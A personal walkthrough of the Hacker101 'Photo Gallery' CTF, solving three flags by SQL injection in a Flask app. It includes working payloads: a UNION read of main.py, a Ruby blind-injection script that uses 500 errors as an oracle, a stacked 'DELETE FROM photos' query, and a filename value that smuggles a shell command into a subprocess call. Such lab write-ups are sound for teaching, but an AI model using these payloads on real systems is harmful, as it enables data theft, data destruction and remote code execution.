Hacker 101 CTF: Photo Gallery
A technical writeup of the hacker101 ctf (photo gallery). It containts the answers, so do not read if you are working on it.
A technical writeup of the hacker101 ctf (photo gallery), if you are trying to do it on your own please do not read this article. I got permission to do this writeup, and I'm glad I can finally share it.
Summary:
The application is vulnerable to multiple SQL injections, which range from information disclosure to remote code execution. This challenge is from the hacker101 CTF and it is labeled as moderate.
This challenge is my favorite in the hacker101 ctf, because it took me around 3 weeks to figure everything out, including a ruby script to obtain one of the flags. The only tools used for this challenge were the browser and ruby.
Application
The application loads the above page, by looking at the source code we can see some more information:
<!doctype html>
<html>
// including relevant part
<img src="fetch?id=1" width="266" height="150">
</html>
The html source code shows that the images are being loaded by using a route that looks like /fetch?id=1
The id
paramer will pass an integer as a query parameter, which is then used to look up the correct filename for the images. Something to note is that the last image in the application is broken, just remeber that for now.
With that information let's get into how to obtain the three flags hidden in this challenge, we need three different kinds on SQL injection here.
Flag 0: UNION
Let's starts with the hints
I had to craft a union that took in a wrong id and then executed a union where I passed down the path to main.py which is where everything happens.
First we are given in the hints that this is a docker image, which is documented here:
https://github.com/tiangolo/uwsgi-nginx-flask-docker
Then by looking at the app, in order to grab the images from the server the following is used fetch?id=1
This is an indication that we should test for a SQLi, by using the hints we can see that this will require a UNION
.
We have look at how the UNION
command works in SQL:
Union based attack: Union based SQL injection allows an attacker to extract information from the database by extending the results returned by the original query. The Union operator can only be used if the original/new queries have the same structure (number and data type of columns). (https://sqlwiki.netspi.com/injectionTypes/unionBased/#mysql)
Now we think how would this query work? And start coming up with some theories:
SELECT image_name FROM a_table WHERE id=number
This query will return the file name and then this file name will be looked up and returned, so using a union we might be able to trick the DB into handing us some other files if we just give it a filename that is interesting - this is where that docker image comes in handy, we know there is a main.py
file and we also know the file structure - so here is my payload:
I had to give it an id that didn’t exist so my UNION would work.
/fetch?id=-1 UNION select '/../../main.py'
This payload executes the SQL statement, and happily gives you the file we need:
@app.route('/')
def index():
cur = getDb().cursor()
cur.execute('SELECT id, title FROM albums')
albums = list(cur.fetchall())
rep = ''
for id, title in albums:
rep += '<h2>%s</h2>\n' % sanitize(title)
rep += '<div>'
cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
fns = []
for pid, ptitle, pfn in cur.fetchall():
rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
fns.append(pfn)
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
rep += '</div>\n'
return home.replace('$ALBUMS$', rep)
@app.route('/fetch')
def fetch():
cur = getDb().cursor()
if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
abort(404)
# It's dangerous to go alone, take this:
# ^FLAG^hehehehe$FLAG$
return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
That file will also be important for Flag2.
Flag1: SQLi + LIKE argument
Let's see those hints:
This flag references that image that failes to load.
Had to figure out a way to get the filename from that hidden kitty - the filename turned out the be flag. I worked on the assumption that the file name was what was triggering a 500 server error. If you try to get that image the backend sends a 500 error which gave me an oracle, the following explains the assumtions I used.
I wrote the following ruby script, it uses the httparty
library to make a request to the challenge instance, the function check?
creates the url by inserting the str
variable into the request, we can use the LIKE
SQL command to match the current str to the filename, if the filename contains the string inside the variable we should get a 500 server error, the response.code == 500
line will return true if the response code is 500 and false if it is anything else, which is what we want. The key here is knowing that the 500 error can be used to get the filename.
I created the range of alphanumerical characters including capital letters using a range in ruby, then I initialized the payload variable which eventually would hold the complete payload. In this infinite while loop, I’m sure there is a better way of doing this, I tested each character in the range and passed it to the check?
function if it returned a 500 that character would get added to my payload string and then I would test for the next character including the previous successful one payload+nextCharacter
, if the character returned anything other than a 500 it would just get skipped, iterating through these characters until nothing more was being added to the string gave me the full filename - which turned out to be the flag.
require 'httparty'
def check?(str)
resp = HTTParty.get("http://<your instanceip>/<instance id>/fetch?id=-1 UNION SELECT filename FROM photos WHERE filename LIKE '#{str}%' AND id=3")
puts resp.code.to_s
if resp.code == 500
return true
else
return false
end
end
CHARSET = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
payload = ''
loop do
CHARSET.each do |c|
puts "Trying: #{c} for #{payload}"
test = payload + c
next unless check?(test.to_s)
payload += c
puts payload
break
end
end
Running the script eventually returns the full flag(partial example):
The script will eventually build up the flag by using the 500 error as an oracle.
Flag2: SQLi, Stacked queries
And again, let me see those hints.
Assumption:
We have to update some document, and we also need to make sure we used stacked queries, and use the commit
command to apply the changes, there is something weird about that subprocess call - it runs commands on the computer which is never a good thing - also the way is written I think I can end the quote and add my payload there by creating an album with a weird name.
Got to delete all images using:
http://35.190.155.168:5001/8ab77dbb88/fetch?id=1;%20DELETE%20%20FROM%20photos;%20commit;
Using the ;DELETE FROM photos; commit; query I was able delete all images from the photos table. I think the vulnerability in the way the size of the albums gets calculated is here:
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
Let's walk through my current payload
The following payload was used after I deleted all the tables, so it failed. I had to rebuild the challenge and instead use an existing file.
/fetch?id=1; INSERT INTO photos (title, filename) VALUES ('; ls')', 'cat.png'); commit;
Not working:
- I get a 404 because it tries to find that id
- The payload is not correct, I think that I can close that subprocess function by inserting a title containing the ‘;’ + the os command I want to run and closing the ‘’)’ - I think this should execute the command I want and send the result back
Now let's fix those issues by restarting the challenge, and updating an existing file:
fetch?id=1; UPDATE photos SET filename="; grep -r FLAG ." WHERE id=3; commit;
This request will execute and update the filename of the image with id=3
and then commit that change to the database.
However right now I can’t seem to find the flag that I need, also this was truncating my results because of this.
strip().rsplit('\n', 1)[-1]
I got around the truncated answers by using echo to print the results of the command I ran.
This is the payload that worked.
fetch?id=3; UPDATE photos SET filename=";echo $(printenv)" WHERE id=3; commit;
// payload worked - all 3 flags in printenv
This payload sets the filename to ;echo $(printenv)
for the image with the id=3
which gets injected in the source code we found in Flag0:
rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
rep += '</div>\n'
And we actually get all the flags here store in the env variables:
Thoughts
This is my favorite challenge, I remember beating my head against a wall because I didn't know much about SQL, but little by little the exploits became more clear and I was able to get the flags. I had a lot of fun writing that ruby script which got me to Flag 1.